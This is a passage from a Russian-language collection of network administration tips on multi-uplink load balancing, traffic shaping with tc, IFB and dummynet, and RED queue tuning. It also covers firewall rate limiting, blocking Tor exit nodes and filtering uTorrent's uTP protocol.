       ip rule add prio 210 from 10.0.0.3 table sat2
       ip route add default via 10.0.0.4 dev ppp1 table sat2
    
       ip rule add prio 211 from 10.0.0.5 table sat3
       ip route add default via 10.0.0.6 dev ppp3 table sat3
    
       ip rule add prio 212 from 10.0.0.7 table sat4
       ip route add default via 10.0.0.8 dev ppp4 table sat4
    
    
    Деление по таблицам осуществляется iptables:
    
       iptables -t mangle -N NEW_OUT_CONN
    
       # Выбираем новые сессии
       iptables -t mangle -A PREROUTING -s 10.0.0.0/16 -m state --state NEW,RELATED -j NEW_OUT_CONN
    
       # Восстанавливает значение nfmark из CONNMARK
       iptables -t mangle -A PREROUTING -s 10.0.0.0/16 -j CONNMARK --restore-mark
    
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 0
    
        # Каждый четвертый пакет
       iptables -t mangle -A NEW_OUT_CONN -m statistic --mode nth --every 4 -j RETURN
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 1
    
       # Каждый третий пакет
       iptables -t mangle -A NEW_OUT_CONN -m statistic --mode nth --every 3 -j RETURN  
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 2
       
       # Каждый второй пакет
       iptables -t mangle -A NEW_OUT_CONN -m statistic --mode nth --every 2 -j RETURN
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 3
    
    
    Модуль CONNMARK отслеживает метки для всех пакетов сессии, это значит, что если
    пометить пакет в сессии, то все пакеты принадлежащие ей будут иметь эту же
    метку. --restore-mark копирует метку в метку пакета 'nfmark'. По которой пакет
    попадает в соответствующую таблицу, и подвергается маршрутизации.
    
    -m statistic --mode nth --every N соответствует каждому N-нному пакету.
    
     
    ----* Распределение трафика между двумя каналами во FreeBSD (доп. ссылка 1)   Автор: pehlle  [комментарии]
     
    Во FreeBSD 7 появилась возможность задания множественных таблиц маршрутизаций.
    В ядре отвечает за это опция:
    
        options ROUTETABLES=[количество таблиц]
    
    Распределения трафика будет осуществляться средствами пакетного фильтра ipfw.
    
    Задаем маршруты по умолчанию:
    
        setfib 0 route add default 1.0.1.1 # таблица по умолчанию
        setfib 1 route add default 1.1.1.1 # новая таблица
    
    Файл конфигурации для запуска ipfw:
    
        cmd="/sbin/ipfw"
        $cmd add 10 check-state
        $cmd add 20 prob 0.5 setfib 0 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 30 setfib 1 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 40 allow all from any to any
    
    Таким образом мы задаем распределение трафика 50/50. Если каналы не равноценные
    то нужно выставить процентную весомость этих каналов.
    
    Трансляция адресов (NAT).
    
    Под эту задачу я выбрал ipnat, реализацию NAT от фаервола ipf.
    
    пример /etc/ipnat.rules:
    
        map vlan0 192.168.0.0/16 -> 1.0.1.1/32
        map tun0 192.168.0.0/16 -> 1.1.1.1/32
    
    Также можно выбрать демон natd или новый, работающий на уровне ядра, NAT,
    который появился во FreeBSD 7.
    
     
    ----* Скрипт для распределения пропускной способности средствами iproute2 в Linux (доп. ссылка 1)   Автор: Adam Palmer  [комментарии]
     
    Скрипт опробован в Debian Etch с установленными пакетами tc, iproute2 и bc.
    Задача скрипта равномерное распределения пропускной способности канала среди пользователей
    и повышения приоритета dns, ssh, smtp.
    
    SOME_IMPORTANT_IP, SOME_OTHER_IMPORTANT_IP, IMPORTANT_IP - нужно заменить на IP 
    важного сервера во внутренней сети.
    
    
    #!/bin/bash
    EXT_IFACE="eth0"
    INT_IFACE="eth1"
    TC="tc"
    UNITS="kbit"
    LINE="10000" # максимальная фактическая скорость внешнего (ext) линка
    LIMIT="5000" # максимально скорость, которую мы можем допустить
    
    # Переменные определеяющие скорость для индивидуальных классов трафика 
    # для ограничения внутреннего трафика, проходящего через интерфейс eth0;
    CLS1_RATE="200" # гарантировано 200kbit 
    CLS2_RATE="300" # гарантировано 300kbit
    CLS3_RATE="4500" # на всех 4500kbit (низкий приоритет)
    
    # Переменные определеяющие скорость для индивидуальных классов трафика
    # для ограничения трафика, проходящего через внешний интерфейс eth1;
    INT_CLS1_RATE="1000" #Priority
    INT_CLS2_RATE="4000" #Bulk
    
    # Чистим содержимое qdiscs
    ${TC} qdisc del dev ${INT_IFACE} root
    ${TC} qdisc del dev ${EXT_IFACE} root
    
    # Создаем корневые qdiscs, используя HTB, привязываем к интерфейсу и ставим метку "1:0"
    ${TC} qdisc add dev ${INT_IFACE} root handle 1:0 htb
    ${TC} qdisc add dev ${EXT_IFACE} root handle 1:0 htb
    
    # Создаем корневые классы и выставляем максимально-допустимый лимит скорости
    # eth1
    ${TC} class add dev ${INT_IFACE} parent 1:0 classid 1:1 htb rate
    ${LIMIT}${UNITS} ceil ${LIMIT}${UNITS}
    # eth0
    ${TC} class add dev ${EXT_IFACE} parent 1:0 classid 1:1 htb rate
    ${LIMIT}${UNITS} ceil ${LIMIT}${UNITS}
    
    
    # Создаем дочерние классы, маркируем их меткой "1:2", "1:3", в зависимости от лимита, для eth1
    ${TC} class add dev ${INT_IFACE} parent 1:1 classid 1:2 htb rate
    ${INT_CLS1_RATE}${UNITS} ceil ${LIMIT}${UNITS}
    
    ${TC} class add dev ${INT_IFACE} parent 1:1 classid 1:3 htb rate
    ${INT_CLS2_RATE}${UNITS} ceil ${INT_CLS2_RATE}${UNITS}
    
    # Привязываем лимит для eth1 (для ограничения исходящего трафика)
    # Ставим для класса "1:2" гарантированную скорость 200kbit 
    # с возможностью подъема при свободности канала до 5000kbit
    ${TC} class add dev ${EXT_IFACE} parent 1:1 classid 1:2 htb rate
    ${CLS1_RATE}${UNITS} ceil ${LIMIT}${UNITS}
    
    
    # Ставим для класса "1:3" гарантированную скорость 300kbit 
    # с возможностью подъема при свободности канала до 4800kbit (5000kbit - 200kbit
    зарезервированный для 1:2)
    ${TC} class add dev ${EXT_IFACE} parent 1:1 classid 1:3 htb rate \
       ${CLS2_RATE}${UNITS} ceil `echo ${LIMIT}-${CLS1_RATE}|bc`${UNITS}
    
    # Ставим для менее приоритетного класса "1:4" оставшуюся скорость 4500kbit
    (5000kbit - 200kbit - 300kbit)
    ${TC} class add dev ${EXT_IFACE} parent 1:1 classid 1:4 htb rate ${CLS3_RATE}${UNITS} \
       ceil `echo ${LIMIT}-${CLS1_RATE}-${CLS2_RATE}|bc`${UNITS}
    
    # Добавляем pfifo.
    ${TC} qdisc add dev ${INT_IFACE} parent 1:2 handle 12: pfifo limit 10
    ${TC} qdisc add dev ${INT_IFACE} parent 1:3 handle 13: pfifo limit 10
    ${TC} qdisc add dev ${EXT_IFACE} parent 1:2 handle 12: pfifo limit 10
    ${TC} qdisc add dev ${EXT_IFACE} parent 1:3 handle 13: pfifo limit 10
    ${TC} qdisc add dev ${EXT_IFACE} parent 1:4 handle 14: pfifo limit 10
    
    
    ### С классами закончили, создаем правила для адресов в сети
    # INT_IFACE, настраиваем скорость.
    # под dst подразумевается трафик уходящий во внутренний интерфейс eth0, т.е. к локальному IP
    # и определяем скорость загрузки с этих адресов.
    # адрес SOME_IMPORTANT_IP привязываем к классу 1:2
    ${TC} filter add dev ${INT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    dst SOME_IMPORTANT_IP/32 flowid 1:2
    ${TC} filter add dev ${INT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    dst SOME_OTHER_IMPORTANT_IP/32 flowid 1:2
    # Все остальные адреса привязываем к классу 1:3 и считаем неприоритетными
    ${TC} filter add dev ${INT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    dst 0.0.0.0/0 flowid 1:3
    
    
    # EXT_IFACE
    # Устанавливаем повышенный приоритет для  DNS запросов
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src IMPORTANT_IP/32 match ip sport 53 0xffff flowid 1:2
    # SSH тоже считаем приоритетным
    
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src IMPORTANT_IP/32 match ip sport 22 0xffff flowid 1:2
    # SMTP отдаем остатки полосы, но приоритет по сравнению с остальным трафиком поднимаем
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src IMPORTANT_IP/32 match ip sport 25 0xffff flowid 1:3
    # Все остальное - в последнюю очередь, самый низкий приоритет
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src 0.0.0.0/0 flowid 1:4
    
     
    ----* IFB (аналог IMQ ) - основные команды для управления трафиком   Автор: Andrejs Spunitis  [комментарии]
     
    Считается что IFB идеологически более правильная реализация псевдо-устройства, чем IMQ.
    IFB по умолчанию доступна в дистре Fedora Core 6.
    IMQ требует патчить ядро, по умолчанию не доступна.
    
    Насколько я понял идеологически
       IFB - это скорее для iproute2
       IMQ - iptables
    
    Документация по IFB в исходниках iproute doc/actions/
    или по адресу: http://linux-net.osdl.org/index.php?title=IFB
    
    Отличные картинки с местоположением IMQ:
    http://www.abclinuxu.cz/clanky/site/traffic-shaping-2-imq-a-uvod-do-shapingu
    
    
    # СБРОС ПРАВИЛ  -----------------------------
     tc qdisc del dev eth0 root 
     tc qdisc del dev eth0 ingress
    
     tc qdisc del dev ifb0 root 
     tc qdisc del dev ifb0 ingress
    
     modprobe ifb
     ip link set dev ifb0 up
    
     service iptables restart
    # ------------------------------------------
    
    # IFB включение ----------------------------
     modprobe ifb
     ip link set dev ifb0 up
    # ------------------------------------------
    
    ## ПОЛЕЗНЫЕ КОМАНДЫ-------------------------
     tc -s filter show parent ffff: dev eth0
     tc -s qdisc
     ifconfig ifb0
     tc -s filter show dev ifb0 parent 1:
     tc -s qdisc show dev ifb0 
    
    
    ######################################################
    # ПРИМЕР ограничения входящего трафика 
    # маркировка IPTABLES недоступна
    ######################################################
    
    ### IFB --------------------------------------------------------------
     tc qdisc add dev ifb0 root handle 1: prio 
    
     tc qdisc add dev ifb0 parent 1:1 handle 10: tbf rate 80kbit buffer 1600 limit 3000
     tc qdisc add dev ifb0 parent 1:2 handle 20: tbf rate 160kbit buffer 1600 limit 3000
    
    ## выделили закачку исходников ядра 
    ## wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.6.tar.gz
     tc filter add dev ifb0 parent 1: protocol ip prio 1 u32 match ip src 204.152.191.37/32 flowid 1:1 
    
    ## выделили закачку исходников fedora core 6
    ## wget ftp://ftp.muug.mb.ca/pub/fedora/linux/core/6/i386/iso/FC-6-i386-DVD.iso
     tc filter add dev ifb0 parent 1: protocol ip prio 2 u32 match ip src 130.179.31.46/32 flowid 1:2 
    
    
    ### eth0 --------------------------------------------------------------
     # перенаправлять входящие пакеты с eth0 в ifb0 
     tc qdisc add dev eth0 ingress
     tc filter add dev eth0 parent ffff: protocol ip \
      u32 match u32 0 0 action mirred egress redirect dev ifb0
    
    ## TESTING -------------------------------------------------------------
    оцените скорость и т.д. 
    wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.6.tar.gz
    
    ######################################################
    # ПРИМЕР ограничения исходящего трафика 
    # маркировка IPTABLES доступна но
    # filter работает на уровне iproute2 match ip dst
    ######################################################
    
    Выполните СБРОС ПРАВИЛ и включите IFB (если выкл.)
    
    ### IFB --------------------------------------------------------------
     tc qdisc add dev ifb0 root handle 1: prio
     tc qdisc add dev ifb0 parent 1:1 handle 10: tbf rate 80kbit buffer 1600 limit 3000
     tc qdisc add dev ifb0 parent 1:2 handle 20: tbf rate 160kbit buffer 1600 limit 3000
    
     # закачка большого файла с хх.хх.хх.хх
     tc filter add dev ifb0 parent 1: protocol ip prio 2 u32 match ip dst  хх.хх.хх.хх/32 flowid 1:2 
    
    ### eth0 --------------------------------------------------------------
     # перенаправлять выходящие пакеты с eth0 в ifb0 
     tc qdisc add dev eth0 root handle 2: prio
     tc filter add dev eth0 parent 2: protocol ip \
          u32 match u32 0 0 action mirred egress redirect dev ifb0
    
    ## TESTING -------------------------------------------------------------
    закачивайте большой файла на хх.хх.хх.хх оцените скорость и т.д. 
     tc -s filter show parent ffff: dev eth0
     tc -s qdisc
     ifconfig ifb0
     tc -s filter show dev ifb0 parent 1:
     tc -s qdisc show dev ifb0 
    
    ######################################################
    # ПРИМЕР ограничения исходящего трафика 
    # маркировка IPTABLES доступна
    # filter работает на уровне маркировке пакетов в IPTABLES
    ######################################################
    
     Выполните СБРОС ПРАВИЛ и включите IFB (если выкл.)
    
    ### IFB --------------------------------------------------------------
     tc qdisc add dev ifb0 root handle 1: prio
    
     tc qdisc add dev ifb0 parent 1:1 handle 10: tbf rate 80kbit buffer 1600 limit 3000
     tc qdisc add dev ifb0 parent 1:2 handle 20: tbf rate 160kbit buffer 1600 limit 3000
    
     tc filter add dev ifb0 parent 1:0 prio 0 protocol ip handle 10 fw flowid 1:1
     tc filter add dev ifb0 parent 1:0 prio 0 protocol ip handle 20 fw flowid 1:2
    
    ### eth0 --------------------------------------------------------------
     # перенаправлять выходящие пакеты с eth0 в ifb0 
     tc qdisc add dev eth0 root handle 2: prio
     tc filter add dev eth0 parent 2: protocol ip \
          u32 match u32 0 0 action mirred egress redirect dev ifb0
    
     tc qdisc add dev eth0 root handle 2: prio
     tc filter add dev eth0 parent 2: protocol ip \
       u32 match u32 0 0 action mirred egress redirect dev ifb0
    
    # поставить в IPTABLES метку  
     iptables -t mangle -A OUTPUT -p tcp -d 85.254.228.6/32 -j MARK --set-mark 10 
    
    ## TESTING -------------------------------------------------------------
    закачивайте большой файла на хх.хх.хх.хх оцените скорость и т.д. 
    
     
    ----* Расчет размера очереди для pipe с заданной пропускной способностью (доп. ссылка 1)   [комментарии]
     
    > Работает шейпер на dummynet, наблюдается некотороая потеря
    > траффика. Hавскидку проблема в дефолтных значениях размера очереди (50 пакетов)
    > для pipe'ов от 32 до 512 Кбит\с. Скорее всего, поток не влезает в очередь и
    > часть пакетов отбрасывается. Как правильно рассчитать размер очереди для
    > каждого pipe в отдельности? 
    
    Eugene Grosbein:
    
    Pipe и должен отбрасывать пакеты, иначе какой же это шейпер?
    Ты не можешь увеличивать длину очереди бесконечно, потому что задержки
    вырастут настолько, что соединение начнет рвать сам юзер :-)
    
    Hа таких низких скоростях размер очереди надо бы, наоборот, уменьшать,
    чтобы не допустить гигантских задержек типа нескольких тысяч милисекунд.
    
    А если хочешь и рыбку съесть, и потерь иметь минимум, то читай-ка ты
    про RED/GRED на unixfaq.ru и делай не просто pipe, а queue/pipe с gred.
    Рекомендую делать w_q=0.002, max_p=0.1, min=q/10, max=3*min,
    где q - длина очереди, q=20 для скоростей меньше 100Kbit/s,
    q=30 для скоростей от 100 до 300Kbit/s и q=50 для скоростей 512Kbit/s и выше.
    
    ----------
    Sergey A Yakovets:
    
    Пол-дня игрался с параметром queue. В итоге подобрал на первый взгляд
    кое-что подходящее. Алгоритм\мысли были следующие:
    
    Дано: асинхронный спутниковый Инет. Входящий канал - 1024 Кбит\с.
    
    Опытным путем установлено, что проблемы с потерей траффика (до 10% от
    общего объема) возникают при многопотоковых http\ftp закачках, т.к. спутниковый
    провайдер в этом случае может отдать поток на все 1024 Кбит\с. При серфинге все
    нормально. Исходя из этого, мною были сделаны некоторые расчеты:
    
    При максимальной пропускной способности входящего спутникового канала
    в 1024 Кбит\с и размере пакета в 1500 байт, пропускная способность канала
    равна ~ 87 пакетов\сек. В это же время, для канала в 128 Кбит\с пропускная
    способность равна ~ 11 пакетов\сек. Гипотетическая разница, при условии что на
    юзера будет идти поток в 1024 Кбит\с, а отдаваться только 128 Кбит\с, может
    составить 76 пакетов\сек.
    
    Итого, опытным путем установлено:
    
        - (было) при дефолтной очереди в 50 пакетов на pipe 128 Кбит\с потери 10%
        - при размере очереди = разница*2 = 150 пакетов потери 2%
        - (стало) при размере очереди = разница*3 = 230 пакетов потери 0%
    
    Серфинг не страдает, задержек нет. Закачка идет на скорости шейпера, потерь нет.
    
    Пробовал другой вариант.
    Hа pipe 128 Кбит\с было выставлено gred 0.002/3/6/0.1 В итоге - огромные
    потери, т.к. канал практически все время работал на скорости пакетов намного
    больше чем max_th*2. Изменение параметров до gred 0.002/50/150/0.1 не влияло на
    результат, т.к. дефолтный размер очереди в 50 пакетов часто переполнялся и gred
    не имел никакого действия. 
    ---------
    
    Что такое алгоритмы RED и gentle RED у ipfw?
    http://unixfaq.ru/index.pl?req=qs&id=310
    
    Ответ на этот вопрос скомпилирован из статей в конференции RU.UNIX.BSD от следующих авторов: 
    Valentin Ermolaev, Alexander V. Naumochkin, Jen Linkova.
    
    Сокращение RED означает "Random Early Detection". Метод используется для
    выравнивания всплесков трафика.
    
    Основным критерием метода является так называемая перегрузка.
    
    В качестве показателя перегрузки avg используется вычисляемое среднее значение
    длины очереди пакетов,
    принадлежащей к определенной сессии TCP. Использование усредненного,
     а не мгновенного значения очереди позволяет отделить кратковременные перегрузки, 
    которые могут быть нормально обработаны устройством и сетью, от длительных перегрузок, 
    которые могут утопить сеть.
    
    Алгоритмически это выглядит так:
    
    В момент прихода пакета
    ; ; if (очередь не пуста)
    ; ; ; ; avg = (1 - w_q)*avg + w_q*q
    ; ; else
    ; ; ; ; m = f(time - q_time)
    ; ; ; ; avg = (1 - w_q)^m * avg;
    
    где
    
    avg -средний размер очереди
    q_time - "start of queue idle time"
    q - размер очереди
    
    w_q - вес очереди (фиксированный параметр)
    
    f() - линейная функий от времени
    
    В /usr/src/sys/netinet/ip_dummynet.c по этому поводу написано следующее:
    
    * RED algorithm
    *
    * RED calculates the average queue size (avg) using a low-pass filter
    * with an exponential weighted (w_q) moving average:
    * avg <- (1-w_q) * avg + w_q * q_size
    * where q_size is the queue length (measured in bytes or * packets).
    *
    * If q_size == 0, we compute the idle time for the link, and set
    * avg = (1 - w_q)^(idle/s)
    * where s is the time needed for transmitting a medium-sized packet.
    
    - что полностью согласуется с приведенными выше формулами.
    
    Далее в алгоритме вводятся два порога уровня перегрузки: min_th и max_th. 
    Когда уровень перегрузки ниже первого порога min_th, то пакеты не отбрасываются. 
    Если уровень перегрузки находится между двумя порогами, пакеты отбрасываются с линейно 
    возврастающей вероятностью из диапазона от 0 до конфигурируемой величины max_p, 
    которая достигается при достижении второго порога max_th. Выше порога max_th 
    отбрасываются все пакеты.
    
    Такой метод вычисления позволяет сглаживать всплески трафика - для сравнения в
    первой из статей (см. ниже)
    на одном графике приводятся и изменение размера очереди q, и усредненного размера 
    очереди (avg) от времени. В той же статье есть выкладки на тему значений w_q.
    
    При gentle RED ситуация выглядит чуть сложнее:
    
    Если перегрузки лежит в интервале от min_th до max_th, то пакеты отбрасываются с линейно 
    возрастающей от 0 до max_p вероятностью. Когда перегрузка превышает max_th, 
    но не превышет 2*max_th, пакеты отбрасываются не все (как в случае RED), а с линейно возрастающей 
    от max_p до 1 вероятностью. Все пакеты отбрасываются только после превышения
    перегрузки канала значения 2*max_th.
    
    Вот как это сделано в ip_dummynet.c:
    
    если длина очереди > max_th, то в случае gred вероятность 
    отбрасывания пакета вычисляется как
    
    ; ; p_b = c_3 * avg - c_4
    где c_3 = (1 - max_p) / max_th
    ; ; c_4 = 1 - 2 * max_p
    
    В случае просто RED пакет отбрасывается.
    
    При загрузке очереди, большей min_th, но меньшей max_th, функция
    вероятности одинакова и выглядит след. образом:
    
    ; ; p_b = c_1 *avg - c_2
    где c_1 = max_p / (max_th - min_th),
    ; ; c_2 = max_p * min_th / (max_th - min_th)
    
    Полезные ссылки:
    
       1. http://www.icir.org/floyd/papers/red/red.html
       2. http://www.icir.org/floyd/red.html
       3. http://www.cisco.com/warp/public/732/Tech/red/
    
     
    ----* Ограничение входящей и исходящей скорости (shaping) для клиентов на ppp интерфейсах.   Автор: Tangar aka Андрей Орлов  [комментарии]
     
    Ограничение входящей и исходящей скорости (shaping) для клиентов на ppp интерфейсах.
    
       #!/bin/bash
       DEVICE=ppp9 UP=512 DOWN=512
    
       /sbin/tc qdisc del dev $DEVICE root
       /sbin/tc qdisc add dev $DEVICE root tbf rate ${DOWN}Kbit latency 50ms burst $[$DOWN*1024]
    
       /sbin/tc qdisc del dev $DEVICE handle ffff: ingress
       /sbin/tc qdisc add dev $DEVICE handle ffff: ingress
       /sbin/tc filter add dev $DEVICE parent ffff: protocol ip prio 50 u32 match ip src 0.0.0.0/0 \
          police rate ${UP}Kbit burst $[$DOWN*1024] drop flowid :1
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Николай Малых  [комментарии]
     
    ipt_limit - общее ограничение по срабатываний правила
         -m limit --limit {avg}/[second|minute|hour|day] --limit-burst {burst}
    
    iplimit - ограничение соединений для одного IP.
        Ограничение коннектов к 80 порту от одного IP:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-above 4 -j REJECT
        Тоже, но для запросов с одной /24 подсети:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-mask 8 --iplimit-above 4 -j REJECT
    
    hashlimit - для каждого IP в хэше хранятся параметры соединений;
        -m hashlimit --hashlimit {avg} --hashlimit-burst {burst} --hashlimit-mode {режим: dstip, dstport, srcip, srcport} \
           --hashlimit-name {name} --hashlimit-htable-max {num} --hashlimit-htable-expire {num} --hashlimit-htable-gcinterval {num}
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m hashlimit --hashlimit 1/hour \
           --hashlimit-burst 2 --hashlimit-mode srcip --hashlimit-name SSH --hashlimit-htable-expire 360000 -j ACCEPT
    
    tbf (http://www.nmalykh.org/work/tbf.tar.gz) - продолжение развития limit и hashlimit c поддержкой 
    возможности инверсии правил в целом.
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m tbf ! -- tbf 1/s --tbf-burst 
           --tbf-mode srcip --tbf-name SMTP  -j DROP
    
     
    ----* Как ограничить пропускную полосу для пакетов помеченных меткой через MARK.   Автор: Denis Fedorishenko (NuclearCat)  [комментарии]
     
    Сделать MARK, и загнать все такие трансферы в какой-либо класс шейпера. 
    Т.е. если например помеченные пакеты - все их отнести к классу 1:51 где
    скорость ограничена от 32К до 64К:
      tc filter add dev eth1 parent 1:0 protocol ip prio 100 handle 51 fw classid 1:51
      tc class add dev eth1 parent 1:2 classid 1:51 htb rate 32Kbit ceil 64Kbit
      tc qdisc add dev eth1 parent 1:51 handle 51 sfq perturb 10
    
     
    ----* Ограничения трафика с помощью iproute2 (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    tc qdisc add dev eth1 root handle 1: htb default 2 r2q 1
    tc class add dev eth1 parent 1: classid 1:1 htb rate 10mbit ceil 10mbit mtu 1500
    tc class add dev eth1 parent 1:1 classid 1:77 htb rate 32kbit ceil 48kbit mtu 1500 prio 0
    tc class add dev eth1 parent 1:1 classid 1:2  htb rate 128kbit ceil 128kbit mtu 1500
    tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip dport 25 flowid 1:77
    
     
    ----* Пример ограничения полосы пропускания трафика в FreeBSD   [комментарии]
     
    Собираем ядро с опциями:
       options         DUMMYNET
       options         IPFIREWALL
    Ограничиваем трафик для сеток 1.1.1.0/24 и 3.3.3.0/24 на 14000 кбит/с:
       ipfw add pipe 50 tcp from any to 1.1.1.0/24 via fxp0
       ipfw add pipe 50 tcp from any to 3.3.3.0/24 via fxp0
       ipfw pipe 50 config bw 14Kbit/s
    Для внесения задержки на N ms, используйте delay N после config.
    Для установки веса данного пайпа по отношению к другим пайпам используйте weight вес.
    Для WF2Q ограничения трафика используйте ipfw queue
    (queue N config [pipe pipe_nr] [weight weight] [queue {slots | size})
    PS (комментарий от gara@mail.ru):
     Если возникает необходимость организовать "канал" для каждого пользователя из данной сети то пишем:
    ipfw pipe 10 config mask dst-ip 0x000000ff bw 1024bit/s  queue
    ipfw add pipe 10 tcp from any to 1.1.1.0/24 via fxp0
    Теперь каждый хост из сети 1.1.1.0/24 имеет свой канал 1024bit/s
    
     
    ----* Как запретить открывать более 30 соединений с одного IP   [комментарии]
     
    Запретим более 30 коннектов для 80 порта сервера 1.2.3.4.
        ipfw add allow tcp from any to 1.2.3.4 80 limit src-addr 30
        ipfw add allow tcp from any to 1.2.3.4 80 via fxp0 setup limit src-addr 10
    Вместо src-addr можно использовать src-port, dst-addr, dst-port
    Конструкция работает в последних версиях FreeBSD 4.x ветки.
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    iptables --new-chain car
    iptables --insert OUTPUT 1 -p tcp --destination-port 25 -o eth1 --jump car
    iptables --append car -m limit --limit 20/sec --jump RETURN
    iptables --append car --jump DROP
    
     

       Пакетные фильтры и фаерволы

    ----* Как заблокировать вход пользователей, работающих через сеть Tor   [комментарии]
     
    Список точек выхода сети Tor, с которых инициируются исходящие соединения,
    можно загрузить на официальном сайте проекта Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py
    
    или используя неофициальные архивы:
    
       http://torstatus.info/ip_list_all.php/Tor_ip_list_ALL.csv
       https://www.dan.me.uk/torlist/
    
    
    По указанным адресам выдаются списки IP-адресов, которые можно использовать для
    блокирования межсетевым экраном/HTTP-сервером или привязки метки через модуль geo_ip.
    
    Пример блокирования через ipfw:
    
       ipfw table 1 flush 
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | grep -v "^#" | while read cnt ip; do
          /sbin/ipfw table 1 add $ip 1
       done
       ipfw add deny all from "table(1)" to any via em1
    
    Для выставления флага через модуль ngx_http_geo_module в nginx:
    
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | 
          grep -v "^#" |  sed 's/$/ tor;/' > /usr/local/etc/nginx/tor.conf 
    
    в nginx.conf:
    
       geo  $country  {
    	include          /usr/local/etc/nginx/tor.conf
       }
    
    далее для блокировки можно добавить проверку:
       if ($country = 'tor') {
    	...
       }
    
     
    ----* Решение проблемы с uTP-протоколом uTorrent (доп. ссылка 1)   Автор: Zzz  [комментарии]
     
    По многочисленным наблюдениям системных администраторов различных компаний
    предоставляющих доступ к сети интернет, с начала февраля 2010 года наблюдается
    ежедневный лавинообразный рост количества пакетов в сети, их фрагментация, а
    также существенный рост исходящего трафика. Данная проблема связана с новой
    версией торрент-клиента uTorrent вышедшего 3 февраля 2010 года с поддержкой
    протокола uTP, работающего поверх UDP. Призванный снизить нагрузку на
    провайдеров протокол uTP в результате привел к обратному эффекту.
    
    Для относительно безболезненной для клиента фильтрации uTP на шлюзе под
    управлением Linux рекомендуется использовать следующее правило:
    
       /sbin/iptables -I FORWARD -m udp -p udp -m string --hex-string "|7F FF FF FF AB|" --algo kmp \
          --from 40 --to 44 -m statictic --mode random --probability 0.90 -j DROP
    
    Мониторинг работы правила:
    
       iptables -L FORWARD -nv | grep statist
    
    Для FreeBSD правило будет выглядеть следующим образом:
    
       ngctl mkpeer ipfw: bpf 2 main
       ngctl name ipfw:2 utp_filter
       ngctl msg utp_filter: setprogram { thisHook=\"main\" ifMatch=\"\" ifNotMatch=\"main\" bpf_prog_len=12 bpf_prog=[ 
          { code=48 jt=0 jf=0 k=0 } { code=84 jt=0 jf=0 k=240 } { code=21 jt=0 jf=8 k=64 } { code=48 jt=0 jf=0 k=9 } 
          { code=21 jt=0 jf=6 k=17 } { code=40 jt=0 jf=0 k=6 } { code=69 jt=4 jf=0 k=8191 } { code=177 jt=0 jf=0 k=0 } 
          { code=64 jt=0 jf=0 k=20 } { code=21 jt=0 jf=1 k=2147483647 } { code=6 jt=0 jf=0 k=65535 } { code=6 jt=0 jf=0 k=0 } ] }
    
       ipfw add 2 netgraph 2 udp from any to any iplen 0-128
    
    Мониторинг:
    
       ngctl msg utp_filter: getstats \"main\"
    
     
    ----* Ускорение анализатора сетевого трафика Snort при помощи библиотеки Hyperscan (доп. ссылка 1)   Автор: Владимир Кунщиков  [комментарии]
     
    Осенью прошлого года компания Intel открыла исходные тексты библиотеки
    поиска совпадений для регулярных выражений Hyperscan, обеспечивающей ускорение
    DPI-приложений за счёт
    использования SIMD compiler intrinsics.
    
    Использование новых наборов инструкций позволяет добиться значительного
    прироста производительности в самом узком месте анализаторов трафика: в поиске
    совпадений по образцу.
    
    Snort - самое известное DPI-приложение с открытым кодом - получил поддержку
    Hyperscan только в начале этого лета. Представленный патч предназначен для
    версии Snort 2.9.8.2 но без проблем накладывается на 2.9.8.3 и может быть
    портирован и на предыдущие релизы.
    
    Сборка
    
    Для сборки Hyperscan сборочное окружение должно содержать
    Boost и компилятор ragel.  В
    библиотеке используется система сборки cmake. Сложности, если можно их назвать
    сложностями, вызывает только Boost: данной версии
    всё ещё нет в большинстве дистрибутивов на момент июня 2016, поэтому скорее
    всего придётся собираться локально. Собрать буст  несложно и весь процесс не
    очень длителен. Что касается ragel и cmake, то они уже имеются в пакетных
    репозитариях Gentoo, Ubuntu, CentOS в достаточно свежих версиях.
    
    
  • Boost
  • Ragel
  • Hyperscan
